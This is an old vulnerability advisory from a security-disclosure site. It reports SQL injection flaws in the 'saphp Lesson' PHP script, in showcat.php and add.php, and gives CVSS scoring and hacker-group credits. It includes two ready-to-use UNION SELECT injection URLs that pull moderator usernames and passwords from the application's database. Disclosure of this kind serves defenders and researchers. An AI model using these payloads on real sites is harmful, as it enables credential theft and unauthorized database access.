SQL saphp Lesson

2005.10.25
Credit: almaster
Risk: Low
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

saphp Lesson .. Search By Google :- saphp Lesson Gr33tz :- aLMaSTeR HaCKeR .. SQL Injection's FOunder - | almaster (at) hotmail (dot) com [email concealed]|- Devil-00 .. SQL Injection's Exploting - | devil-00 (at) s4a (dot) cc [email concealed] | - Security4Arab .. A'Where Home .. 1- SQL Injection in showcat.php http://www.site.com/dros/showcat.php?forumid=|almaster 2-SQL Injection in add.php http://www.site.com/dros/add.php?forumid=|almaster Exp: - Get Username By This Injection : dros/showcat.php?forumid=-1%20UNION%20SELECT%20ModName%20FROM%20modretor 2- Get Password By This Injection : dros/showcat.php?forumid=-1%20UNION%20SELECT%20ModPassword%20FROM%20modr etor aLMaSTeR [at] hotmail [dot] com


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top